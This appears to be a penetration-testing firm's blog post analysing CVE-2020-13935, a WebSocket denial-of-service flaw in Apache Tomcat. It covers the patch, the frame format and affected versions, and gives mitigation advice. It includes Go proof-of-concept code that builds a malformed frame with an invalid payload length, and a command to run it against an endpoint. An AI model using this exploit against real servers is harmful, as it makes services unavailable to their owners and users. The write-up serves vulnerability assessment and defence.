RedTeam Pentesting GmbH - werde eine*r von uns

2 November 2020

Diving into a WebSocket Vulnerability in Apache Tomcat

Apache Tomcat is a Java application server commonly used with web applications, which we often encounter in penetration tests.

In this post we will dive into the analysis of a vulnerability in the Apache Tomcat server and an exploit which helped our customer to assess the risk on their business. The vulnerability is a denial-of-service vulnerability appearing in conjunction with WebSockets, and has been assigned CVE-2020-13935 .

During penetration tests, we often see instances running outdated versions of Apache Tomcat.

We classify software as “outdated” if a given version contains vulnerabilities for which the vendor (or maintainer) has released a corresponding security update. However, some vulnerabilities are only exploitable in certain scenarios and upgrading the web application server might be costly. Therefore, it is essential to have concise information to make an informed decision on whether the vulnerability affects a given product and whether an upgrade is worthwhile. Unfortunately, not all vendors/maintainers are transparent about security.

The release notes for Apache Tomcat 9.0.37 show that a vulnerability has been found and patched in July 2020, stating the following:

The payload length in a WebSocket frame was not correctly validated. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service.

This information is quite vague, resulting in the following questions:

  • What constitutes an invalid payload length?
  • What kind of denial-of-service occurs? CPU or memory exhaustion? Maybe even a crash?
  • Under which circumstances are applications vulnerable? When does Apache Tomcat parse WebSocket messages?
  • What investment do attackers need to make? Does exploitation require a large amount of bandwidth or computing power?
  • Are there possible workarounds for cases where an upgrade is not feasible?

These questions can be answered with some analysis, and (among many other things) that is also part of our penetration tests.

The Patch

The Apache security team linked the corresponding patch for this vulnerability. The following code was added to java/org/apache/tomcat/websocket/WsFrameBase.java, fixing the vulnerability (reformatted for legibility):

// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
    throw new WsIOException(
        new CloseReason(
            CloseCodes.PROTOCOL_ERROR,
            sm.getString("wsFrame.payloadMsbInvalid")
        )
    );
}

As we can see, the change consists of an additional check on the payload length field, which is of the type long, raising an exception if the value is negative. But how can a payload length be negative?

In order to answer this question, let us take a look at the structure of a WebSocket frame, provided in the corresponding RFC:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               |Masking-key, if MASK set to 1  |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +
:                     Payload Data continued ...                :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                     Payload Data continued ...                |
+---------------------------------------------------------------+

The first 16 bits of a frame contain several bit flags as well as a 7-bit payload length. If this payload length is set to 127 (binary 1111111), the chart indicates that a so-called extended payload length of 64 bit should be used. Additionally, the WebSocket RFC states:

If [the 7-bit payload length is] 127, the following 8 bytes interpreted as a 64-bit unsigned integer (the most significant bit MUST be 0) are the payload length.

It seems to be a peculiar choice that despite the field clearly being a 64-bit unsigned integer, the RFC additionally requires the most significant bit to be zero. Perhaps this choice was made to provide interoperability with signed implementations, however it may cause confusion. In this case it even led to a security vulnerability.

Writing an Exploit

In the following we will implement a proof-of-concept in Go. Why Go you might ask? Go is awesome ❤️ and built-in concurrency as well as good library support for WebSockets come in handy. Furthermore, we are able to cross-compile the PoC for any platform we need to.

Let’s move along the specification and construct a WebSocket frame that has a negative payload length when parsed by Apache Tomcat. First, the values for the bit flags FIN, RSV1, RSV2 and RSV3 need to be chosen. FIN is used to indicate the final frame of a message. As the whole message that we want to send is contained in a single frame, we set this bit to one. The RSV bits are reserved for future use and extensions to the WebSocket specification, so they are all set to zero. The opcode field (4 bit) represents the type of the sent data. The value has to be valid, otherwise the frame would be dropped. In this case, we want to send a simple text payload, which requires this field to be set to the value 1. The Go library github.com/gorilla/websocket provides a constant for that which we will use. Now we can already construct the first byte of our malicious WebSocket frame:

var buf bytes.Buffer

fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage

buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

The first bit of the second byte is the MASK bit, which must be set to one in frames being sent from the client to the server. The interesting part is the payload length, which can vary in size. If the payload size of the WebSocket message doesn’t exceed 125 bytes, the length can be encoded directly in the 7-bit payload length field. For payload lengths between 126 and 65535, the 7-bit payload length field is set to the constant 126 and the payload length is encoded as a 16-bit unsigned integer in the next two bytes. For larger payloads, the 7-bit payload length field must be set to 127 and the next four bytes encode the payload length as an 64-bit unsigned integer. As discussed before, for the payload length being defined in 64 bits the most significant bit (MSB) must be set to zero according to the specification. To trigger the vulnerable code path in Apache Tomcat we need to specify a 64-bit payload length with the MSB set to one, so we set the 7-bit payload length field to 1111111:

// always set the mask bit
// indicate 64 bit message length
buf.WriteByte(byte(1<<7 | 0b1111111))

In order to construct a frame with an invalid payload length, triggering the misbehavior in the Apache Tomcat implementation, we set the following eight bytes to 0xFF:

// set msb to 1, violating the spec and triggering the bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

The following four bytes are the masking key. The specification requires this to be a random 32-bit value from a strong source of entropy, but as we violate the specification already, we just use a static masking key to make the code easier to read:

// 4 byte masking key
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)

The actual payload itself can be smaller than the specified length:

// write an incomplete message
buf.WriteString("test")

The assembly and transmission of our packet looks as follows. For good measure, we are keeping the connection open for 30 seconds after sending:

ws, _, err := websocket.DefaultDialer.Dial(url, nil)

if err != nil {
    return fmt.Errorf("dial: %s", err)
}

_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
    return fmt.Errorf("write: %s", err)
}

// keep the websocket connection open for some time
time.Sleep(30 * time.Second)

The code for this proof-of-concept exploit is available at github.com/RedTeamPentesting/CVE-2020-13935.

Build the executable by just running go build. To test the program, we can set up a vulnerable Apache Tomcat instance and target one of the WebSocket examples provided with the installation:

$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic

That is all it takes to exploit the denial-of-service vulnerability. If a vulnerable WebSocket endpoint is now targeted and multiple malicious requests are made, the CPU usage goes up quite quickly and the server becomes unresponsive.

htop run on server during exploitation

Note that the parsing code is only triggered with endpoints that actually expect WebSocket messages. We cannot send such a message to an arbitrary Tomcat HTTP endpoint.

According to the vulnerability description the following versions of Apache Tomcat are affected:

  • 10.0.0-M1 to 10.0.0-M6
  • 9.0.0.M1 to 9.0.36
  • 8.5.0 to 8.5.56
  • 7.0.27 to 7.0.104

For Defenders

If possible, update your Apache Tomcat server to the current version. However, there might be cases when updating is not feasible or very costly. In this case, you should evaluate whether your product is vulnerable. As explained above, the bug can only be triggered on WebSockets endpoints. Therefore, disabling or restricting access to those endpoints will mitigate the issue. Note that the built-in example directory also contains endpoints that handle WebSockets.

Thats all folks, stay tuned for further updates! 😄